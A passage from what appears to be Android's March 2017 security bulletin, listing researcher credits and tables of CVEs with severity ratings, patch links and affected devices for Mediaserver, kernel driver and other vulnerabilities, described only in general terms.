([@ScottyBauer1](<https://twitter.com/ScottyBauer1>)): CVE-2017-0504, CVE-2017-0516 \n * Sean Beaupre (beaups): CVE-2017-0455 \n * Seven Shen ([@lingtongshen](<https://twitter.com/lingtongshen>)) of Trend Micro: CVE-2017-0452 \n * Shinichi Matsumoto of Fujitsu: CVE-2017-0498 \n * [St\u00e9phane Marques](<mailto:smarques84@gmail.com>) of [ByteRev](<http://www.byterev.com>): CVE-2017-0489 \n * Svetoslav Ganov of Google: CVE-2017-0492 \n * [Tong Lin](<mailto:segfault5514@gmail.com>), [Yuan-Tsung Lo](<mailto:computernik@gmail.com>), and Xuxian Jiang of [C0RE Team](<http://c0reteam.org>): CVE-2017-0333 \n * V.E.O ([@VYSEa](<https://twitter.com/vysea>)) of [Mobile Threat Response Team](<http://blog.trendmicro.com/trendlabs-security-intelligence/category/mobile>), [Trend Micro](<http://www.trendmicro.com>): CVE-2017-0466, CVE-2017-0467, CVE-2017-0468, CVE-2017-0469, CVE-2017-0470, CVE-2017-0471, CVE-2017-0472, CVE-2017-0473, CVE-2017-0482, CVE-2017-0484, CVE-2017-0485, CVE-2017-0486, CVE-2017-0487, CVE-2017-0494, CVE-2017-0495 \n * Wish Wu (\u5434\u6f4d\u6d60 \u6b64\u5f7c) ([@wish_wu](<https://twitter.com/wish_wu>)) of Ant-financial Light-Year Security Lab (\u8682\u8681\u91d1\u670d\u5df4\u65af\u5149\u5e74\u5b89\u5168\u5b9e\u9a8c\u5ba4): CVE-2017-0477 \n * Yu Pan of Vulpecker Team, Qihoo 360 Technology Co. Ltd: CVE-2017-0517, CVE-2017-0532 \n * [Yuan-Tsung Lo](<mailto:computernik@gmail.com>), and Xuxian Jiang of [C0RE Team](<http://c0reteam.org>): CVE-2017-0526, CVE-2017-0527 \n * Yuqi Lu ([@nikos233](<https://twitter.com/nikos233__>)), [Wenke Dou](<mailto:vancouverdou@gmail.com>), [Dacheng Shao](<mailto:shaodacheng2016@gmail.com>), Mingjian Zhou ([@Mingjian_Zhou](<https://twitter.com/Mingjian_Zhou>)), and Xuxian Jiang of [C0RE Team](<http://c0reteam.org>): CVE-2017-0483\n * Zinuo Han ([weibo.com/ele7enxxh](<https://weibo.com/ele7enxxh>)) of Chengdu Security Response Center, Qihoo 360 Technology Co. Ltd.: CVE-2017-0475, CVE-2017-0497 \n\n## 2017-03-01 security patch level\u2014Vulnerability details\n\nIn the sections below, we provide details for each of the security vulnerabilities that apply to the 2017-03-01 patch level. There is a description of the issue, a severity rationale, and a table with the CVE, associated references, severity, updated Google devices, updated AOSP versions (where applicable), and date reported. When available, we will link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.\n\n### Remote code execution vulnerability in OpenSSL & BoringSSL\n\nA remote code execution vulnerability in OpenSSL and BoringSSL could enable an attacker using a specially crafted file to cause memory corruption during file and data processing. This issue is rated as Critical due to the possibility of remote code execution within the context of a privileged process.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2016-2182 | [ A-32096880](<https://android.googlesource.com/platform/external/boringssl/+/54bf62a81586d99d0a951ca3342d569b59e69b80>) | Critical | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Aug 5, 2016 \n \n### Remote code execution vulnerability in Mediaserver \n\nA remote code execution vulnerability in Mediaserver could enable an attacker using a specially crafted file to cause memory corruption during media file and data processing. This issue is rated as Critical due to the possibility of remote code execution within the context of the Mediaserver process.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0466 | [A-33139050](<https://android.googlesource.com/platform/external/libavc/+/c4f152575bd6d8cc6db1f89806e2ba1fd1bb314f>) [[2](<https://android.googlesource.com/platform/external/libavc/+/ec9ab83ac437d31f484a86643e2cc66db8efae4c>)] | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Nov 25, 2016 \nCVE-2017-0467 | [A-33250932](<https://android.googlesource.com/platform/external/libavc/+/c4f152575bd6d8cc6db1f89806e2ba1fd1bb314f>) [[2](<https://android.googlesource.com/platform/external/libavc/+/fd9a12f9fdd9dd3e66c59dd7037e864b948085f7>)] | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Nov 30, 2016 \nCVE-2017-0468 | [A-33351708](<https://android.googlesource.com/platform/external/libavc/+/0e8b1dff88e08b9d738d2360f05b96108e190995>) [[2](<https://android.googlesource.com/platform/external/libavc/+/fd9a12f9fdd9dd3e66c59dd7037e864b948085f7>)] | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 5, 2016 \nCVE-2017-0469 | [ A-33450635](<https://android.googlesource.com/platform/external/libavc/+/21851eaecc814be709cb0c20f732cb858cfe1440>) | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 8, 2016 \nCVE-2017-0470 | [ A-33818500](<https://android.googlesource.com/platform/external/libavc/+/6aac82003d665708b4e21e9b91693b642e2fa64f>) | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 21, 2016 \nCVE-2017-0471 | [ A-33816782](<https://android.googlesource.com/platform/external/libavc/+/4a61d15e7b0ab979ba7e80db8ddbde025c1ce6cc>) | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 21, 2016 \nCVE-2017-0472 | [ A-33862021](<https://android.googlesource.com/platform/external/libhevc/+/dfa7251ff270ae7e12a019e6735542e36b2a47e0>) | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 23, 2016 \nCVE-2017-0473 | [ A-33982658](<https://android.googlesource.com/platform/external/libavc/+/0a4463e2beddb8290e05ad552e48b17686f854ce>) | Critical | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 30, 2016 \nCVE-2017-0474 | [ A-32589224](<https://android.googlesource.com/platform/external/libvpx/+/6f5927de29337fa532c64d0ef8c7cb68f7c89889>) | Critical | All | 7.0, 7.1.1 | Google internal \n \n### Elevation of privilege vulnerability in recovery verifier\n\nAn elevation of privilege vulnerability in the recovery verifier could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0475 | [ A-31914369](<https://android.googlesource.com/platform/bootable/recovery/+/2c6c23f651abb3d215134dfba463eb72a5e9f8eb>) | Critical | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Oct 2, 2016 \n \n### Remote code execution vulnerability in AOSP Messaging\n\nA remote code execution vulnerability in AOSP Messaging could enable an attacker using a specially crafted file to cause memory corruption during media file and data processing. This issue is rated as High due to the possibility of remote code execution within the context of an unprivileged process.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0476 | [ A-33388925](<https://android.googlesource.com/platform/packages/apps/Messaging/+/8ba22b48ebff50311d7eaa8d512f9d507f0bdd0d>) | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 6, 2016 \n \n### Remote code execution vulnerability in libgdx\n\nA remote code execution vulnerability in libgdx could enable an attacker using a specially crafted file to execute arbitrary code within the context of an unprivileged process. This issue is rated as High due to the possibility of remote code execution in an application that uses this library.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0477 | [ A-33621647](<https://android.googlesource.com/platform/external/libgdx/+/fba04a52f43315cdb7dd38766822af0324eab7c5>) | High | All | 7.1.1 | Dec 14, 2016 \n \n### Remote code execution vulnerability in Framesequence library\n\nA remote code execution vulnerability in the Framesequence library could enable an attacker using a specially crafted file to execute arbitrary code in the context of an unprivileged process. This issue is rated as High due to the possibility of remote code execution in an application that uses the Framesequence library.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0478 | [ A-33718716](<https://android.googlesource.com/platform/frameworks/ex/+/7c824f17b3eea976ca58be7ea097cb807126f73b>) | High | All | 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Dec 16, 2016 \n \n### Elevation of privilege vulnerability in NFC\n\nAn elevation of privilege vulnerability in NFC could enable a proximate attacker to execute arbitrary code within the context of a privileged process. This issue is rated as High because it could be used to gain local access to elevated capabilities, which are not normally accessible to a third-party application.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0481 | [ A-33434992](<https://android.googlesource.com/platform/external/libnfc-nci/+/c67cc6ad2addddcb7185a33b08d27290ce54e350>) | High | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Nov 6, 2016 \n \n### Elevation of privilege vulnerability in Audioserver\n\nAn elevation of privilege vulnerability in Audioserver could enable a local malicious application to execute arbitrary code within the context of a privileged process. This issue is rated as High because it could be used to gain local access to elevated capabilities, which are not normally accessible to a third-party application.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0479 | [ A-32707507](<https://android.googlesource.com/platform/frameworks/av/+/22e26d8ee73488c58ba3e7928e5da155151abfd0>) [[2](<https://android.googlesource.com/platform/frameworks/av/+/8415635765380be496da9b4578d8f134a527d86b>)] | High | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Nov 7, 2016 \nCVE-2017-0480 | [ A-32705429](<https://android.googlesource.com/platform/frameworks/av/+/22e26d8ee73488c58ba3e7928e5da155151abfd0>) [[2](<https://android.googlesource.com/platform/frameworks/av/+/8415635765380be496da9b4578d8f134a527d86b>)] | High | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Nov 7, 2016 \n \n### Denial of service vulnerability in Mediaserver\n\nA denial of service vulnerability in Mediaserver could enable an attacker to use a specially crafted file to cause a device hang or reboot. This issue is rated as High severity due to the possibility of remote denial of service.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0482 | [ A-33090864](<https://android.googlesource.com/platform/external/libavc/+/ec9ab83ac437d31f484a86643e2cc66db8efae4c>) [[2](<https://android.googlesource.com/platform/external/libavc/+/0e8b1dff88e08b9d738d2360f05b96108e190995>)] [[3](<https://android.googlesource.com/platform/external/libavc/+/a467b1fb2956fdcee5636ab63573a4bca8150dbe>)] [[4](<https://android.googlesource.com/platform/external/libavc/+/3695b6bdaa183bb2852da06b63ebd5b9c2cace36>)] [[5](<https://android.googlesource.com/platform/external/libavc/+/c4f152575bd6d8cc6db1f89806e2ba1fd1bb314f>)] [[6](<https://android.googlesource.com/platform/external/libavc/+/fd9a12f9fdd9dd3e66c59dd7037e864b948085f7>)] | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Nov 22, 2016 \nCVE-2017-0483 | [ A-33137046](<https://android.googlesource.com/platform/frameworks/av/+/bc62c086e9ba7530723dc8874b83159f4d77d976>) [[2](<https://android.googlesource.com/platform/frameworks/av/+/5cabe32a59f9be1e913b6a07a23d4cfa55e3fb2f>)] | High | All | 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Nov 24, 2016 \nCVE-2017-0484 | [ A-33298089](<https://android.googlesource.com/platform/external/libavc/+/fd9a12f9fdd9dd3e66c59dd7037e864b948085f7>) [[2](<https://android.googlesource.com/platform/external/libavc/+/a467b1fb2956fdcee5636ab63573a4bca8150dbe>)] | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 1, 2016 \nCVE-2017-0485 | [ A-33387820](<https://android.googlesource.com/platform/external/libavc/+/3695b6bdaa183bb2852da06b63ebd5b9c2cace36>) | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 6, 2016 \nCVE-2017-0486 | [ A-33621215](<https://android.googlesource.com/platform/external/libavc/+/19814b7ad4ea6f0cc4cab34e50ebab2e180fc269>) | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 14, 2016 \nCVE-2017-0487 | [ A-33751193](<https://android.googlesource.com/platform/external/libavc/+/aa78b96e842fc1fb70a18acff22be35c7a715b23>) | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 19, 2016 \nCVE-2017-0488 | [ A-34097213](<https://android.googlesource.com/platform/external/libavc/+/0340381cd8c220311fd4fe2e8b23e1534657e399>) | High | All | 6.0, 6.0.1, 7.0, 7.1.1 | Google internal \n \n### Elevation of privilege vulnerability in Location Manager\n\nAn elevation of privilege vulnerability in Location Manager could enable a local malicious application to bypass operating system protections for location data. This issue is rated as Moderate because it could be used to generate inaccurate data.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0489 | [ A-33091107](<https://android.googlesource.com/platform/frameworks/base/+/d22261fef84481651e12995062105239d551cbc6>) | Moderate | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Nov 20, 2016 \n \n### Elevation of privilege vulnerability in Wi-Fi\n\nAn elevation of privilege vulnerability in Wi-Fi could enable a local malicious application to delete user data. This issue is rated as Moderate because it is a local bypass of user interaction requirements that would normally require either user initiation or user permission. \n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0490 | [ A-33178389](<https://android.googlesource.com/platform/packages/apps/CertInstaller/+/1166ca8adba9b49c9185dad11b28b02e72124d95>) [[2](<https://android.googlesource.com/platform/packages/apps/CertInstaller/+/1ad3b1e3256a226be362de1a4959f2a642d349b7>)] [[3](<https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/41c42f5bb544acf8bede2d05c6325657d92bd83c>)] | Moderate | All | 6.0, 6.0.1, 7.0, 7.1.1 | Nov 25, 2016 \n \n### Elevation of privilege vulnerability in Package Manager\n\nAn elevation of privilege vulnerability in Package Manager could enable a local malicious application to prevent users from uninstalling applications or removing permissions from applications. This issue is rated as Moderate because it is a local bypass of user interaction requirements.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0491 | [ A-32553261](<https://android.googlesource.com/platform/packages/apps/PackageInstaller/+/5c49b6bf732c88481466dea341917b8604ce53fa>) | Moderate | All | 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Google internal \n \n### Elevation of privilege vulnerability in System UI\n\nAn elevation of privilege vulnerability in the System UI could enable a local malicious application to create a UI overlay covering the entire screen. This issue is rated as Moderate because it is a local bypass of user interaction requirements that would normally require either user initiation or user permission.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0492 | [ A-30150688](<https://android.googlesource.com/platform/frameworks/base/+/f4bed684c939b0f8809ef404b8609fe4ef849263>) | Moderate | All | 7.1.1 | Google internal \n \n### Information disclosure vulnerability in AOSP Messaging\n\nAn information disclosure vulnerability in AOSP Messaging could enable a remote attacker using a special crafted file to access data outside of its permission levels. This issue is rated as Moderate because it could be used to access sensitive data without permission.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0494 | [ A-32764144](<https://android.googlesource.com/platform/packages/apps/Messaging/+/3f9821128abd66c4cd2f040d8243efb334bfad2d>) | Moderate | All | 6.0, 6.0.1, 7.0, 7.1.1 | Nov 9, 2016 \n \n### Information disclosure vulnerability in Mediaserver\n\nAn information disclosure vulnerability in Mediaserver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it could be used to access sensitive data without permission.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0495 | [ A-33552073](<https://android.googlesource.com/platform/external/libavc/+/85c0ec4106659a11c220cd1210f8d76c33d9e2ae>) | Moderate | All | 6.0, 6.0.1, 7.0, 7.1.1 | Dec 11, 2016 \n \n### Denial of service vulnerability in Setup Wizard\n\nA denial of service vulnerability in Setup Wizard could allow a local malicious application to temporarily block access to an affected device. This issue is rated as Moderate because it may require a factory reset to repair the device.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0496 | A-31554152* | Moderate | None** | 5.0.2, 5.1.1, 6.0, 6.0.1 | Sep 14, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Google devices available from the [Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Denial of service vulnerability in Mediaserver\n\nA denial of service vulnerability in Mediaserver could enable an attacker to use a specially crafted file to cause a device hang or reboot. This issue is rated as Moderate because it requires an uncommon device configuration.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0497 | [ A-33300701](<https://android.googlesource.com/platform/external/skia/+/8888cbf8e74671d44e9ff92ec3847cd647b8cdfb>) | Moderate | All | 7.0, 7.1.1 | Dec 2, 2016 \n \n### Denial of service vulnerability in Setup Wizard\n\nA denial of service vulnerability in Setup Wizard could allow a local attacker to require Google account sign-in after a factory reset. This issue is rated as Moderate because it may require a factory reset to repair the device. \n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0498 | [ A-30352311](<https://android.googlesource.com/platform/frameworks/base/+/1c4d535d0806dbeb6d2fa5cea0373cbd9ab6d33b>) [[2](<https://android.googlesource.com/platform/frameworks/base/+/5f621b5b1549e8379aee05807652d5111382ccc6>)] | Moderate | All | 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Google internal \n \n### Denial of service vulnerability in Audioserver\n\nA denial of service vulnerability in Audioserver could enable a local malicious application to cause a device hang or reboot. This issue is rated as Low due to the possibility of a temporary denial of service.\n\nCVE | References | Severity | Updated Google devices | Updated AOSP versions | Date reported \n---|---|---|---|---|--- \nCVE-2017-0499 | [ A-32095713](<https://android.googlesource.com/platform/frameworks/av/+/22e26d8ee73488c58ba3e7928e5da155151abfd0>) | Low | All | 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 | Oct 11, 2016 \n \n## 2017-03-05 security patch level\u2014Vulnerability details\n\nIn the sections below, we provide details for each of the security vulnerabilities that apply to the 2017-03-05 patch level. There is a description of the issue, a severity rationale, and a table with the CVE, associated references, severity, updated Google devices, updated AOSP versions (where applicable), and date reported. When available, we will link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.\n\n### Elevation of privilege vulnerability in MediaTek components\n\nAn elevation of privilege vulnerability in MediaTek components, including the M4U driver, sound driver, touchscreen driver, GPU driver, and Command Queue driver, could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0500 | A-28429685* M-ALPS02710006 | Critical | None** | Apr 27, 2016 \nCVE-2017-0501 | A-28430015* M-ALPS02708983 | Critical | None** | Apr 27, 2016 \nCVE-2017-0502 | A-28430164* M-ALPS02710027 | Critical | None** | Apr 27, 2016 \nCVE-2017-0503 | A-28449045* M-ALPS02710075 | Critical | None** | Apr 28, 2016 \nCVE-2017-0504 | A-30074628* M-ALPS02829371 | Critical | None** | Jul 9, 2016 \nCVE-2017-0505 | A-31822282* M-ALPS02992041 | Critical | None** | Sep 28, 2016 \nCVE-2017-0506 | A-32276718* M-ALPS03006904 | Critical | None** | Oct 18, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in NVIDIA GPU driver\n\nAn elevation of privilege vulnerability in the NVIDIA GPU driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0337 | A-31992762* N-CVE-2017-0337 | Critical | Pixel C | Oct 6, 2016 \nCVE-2017-0338 | A-33057977* N-CVE-2017-0338 | Critical | Pixel C | Nov 21, 2016 \nCVE-2017-0333 | A-33899363* N-CVE-2017-0333 | Critical | Pixel C | Dec 25, 2016 \nCVE-2017-0306 | A-34132950* N-CVE-2017-0306 | Critical | Nexus 9 | Jan 6, 2017 \nCVE-2017-0335 | A-33043375* N-CVE-2017-0335 | Critical | Pixel C | Google internal \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in kernel ION subsystem\n\nAn elevation of privilege vulnerability in the kernel ION subsystem could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0507 | A-31992382* | Critical | Android One, Nexus 5X, Nexus 6, Nexus 6P, Nexus 9, Nexus Player, Pixel C, Pixel, Pixel XL | Oct 6, 2016 \nCVE-2017-0508 | A-33940449* | Critical | Pixel C | Dec 28, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Broadcom Wi-Fi driver\n\nAn elevation of privilege vulnerability in the Broadcom Wi-Fi driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0509 | A-32124445* B-RB#110688 | Critical | None** | Oct 12, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in kernel FIQ debugger\n\nAn elevation of privilege vulnerability in the kernel FIQ debugger could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0510 | A-32402555* | Critical | Nexus 9 | Oct 25, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Qualcomm GPU driver\n\nAn elevation of privilege vulnerability in the Qualcomm GPU driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8479 | A-31824853* QC-CR#1093687 | Critical | Android One, Nexus 5X, Nexus 6, Nexus 6P, Pixel, Pixel XL | Sep 29, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in kernel networking subsystem\n\nAn elevation of privilege vulnerability in the kernel networking subsystem could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-9806 | A-33393474 [ Upstream kernel](<http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=92964c79b357efd980812c4de5c1fd2ec8bb5520>) | Critical | Pixel C, Pixel, Pixel XL | Dec 4, 2016 \nCVE-2016-10200 | A-33753815 [ Upstream kernel](<https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=32c231164b762dddefa13af5a0101032c70b50ef>) | Critical | Nexus 5X, Nexus 6P, Pixel, Pixel XL | Dec 19, 2016 \n \n### Vulnerabilities in Qualcomm components\n\nThe following vulnerability affects Qualcomm components and is described in further detail in Qualcomm AMSS September 2016 security bulletin.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8484 | A-28823575** | Critical | None*** | Qualcomm internal \nCVE-2016-8485 | A-28823681** | Critical | None*** | Qualcomm internal \nCVE-2016-8486 | A-28823691** | Critical | None*** | Qualcomm internal \nCVE-2016-8487 | A-28823724** | Critical | None*** | Qualcomm internal \nCVE-2016-8488 | A-31625756** | Critical | None*** | Qualcomm internal \n \n* The severity rating for these vulnerabilities was determined by the vendor.\n\n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n*** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in kernel networking subsystem\n\nAn elevation of privilege vulnerability in the kernel networking subsystem could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2016-8655 | A-33358926 [ Upstream kernel](<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c>) | High | Android One, Nexus 5X, Nexus 6, Nexus 6P, Nexus 9, Nexus Player, Pixel C, Pixel, Pixel XL | Oct 12, 2016 \nCVE-2016-9793 | A-33363517 [ Upstream kernel](<http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b98b0bc8c431e3ceb4b26b0dfc8db509518fb290>) | High | Android One, Nexus 5X, Nexus 6, Nexus 6P, Nexus 9, Nexus Player, Pixel C, Pixel, Pixel XL | Dec 2, 2016 \n \n### Elevation of privilege vulnerability in Qualcomm input hardware driver\n\nAn elevation of privilege vulnerability in the Qualcomm input hardware driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0516 | A-32341680* QC-CR#1096301 | High | Android One, Pixel, Pixel XL | Oct 21, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in MediaTek Hardware Sensor Driver\n\nAn elevation of privilege vulnerability in the MediaTek hardware sensor driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0517 | A-32372051* M-ALPS02973195 | High | None** | Oct 22, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n** Supported Google devices on Android 7.0 or later that have installed all available updates are not affected by this vulnerability.\n\n### Elevation of privilege vulnerability in Qualcomm ADSPRPC driver\n\nAn elevation of privilege vulnerability in the Qualcomm ADSPRPC driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0457 | A-31695439* QC-CR#1086123 QC-CR#1100695 | High | Nexus 5X, Nexus 6P, Pixel, Pixel XL | Sep 22, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Qualcomm fingerprint sensor driver\n\nAn elevation of privilege vulnerability in the Qualcomm fingerprint sensor driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0518 | A-32370896* QC-CR#1086530 | High | Pixel, Pixel XL | Oct 24, 2016 \nCVE-2017-0519 | A-32372915* QC-CR#1086530 | High | Pixel, Pixel XL | Oct 24, 2016 \n \n* The patch for this issue is not publicly available. The update is contained in the latest binary drivers for Nexus devices available from the [ Google Developer site](<https://developers.google.com/android/nexus/drivers>).\n\n### Elevation of privilege vulnerability in Qualcomm crypto engine driver\n\nAn elevation of privilege vulnerability in the Qualcomm crypto engine driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0520 | A-31750232 [ QC-CR#1082636](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=eb2aad752c43f57e88ab9b0c3c5ee7b976ee31dd>) | High | Nexus 5X, Nexus 6, Nexus 6P, Android One, Pixel, Pixel XL | Sep 24, 2016 \n \n### Elevation of privilege vulnerability in Qualcomm camera driver\n\nAn elevation of privilege vulnerability in the Qualcomm camera driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process.\n\nCVE | References | Severity | Updated Google devices | Date reported \n---|---|---|---|--- \nCVE-2017-0458 | A-32588962 [ 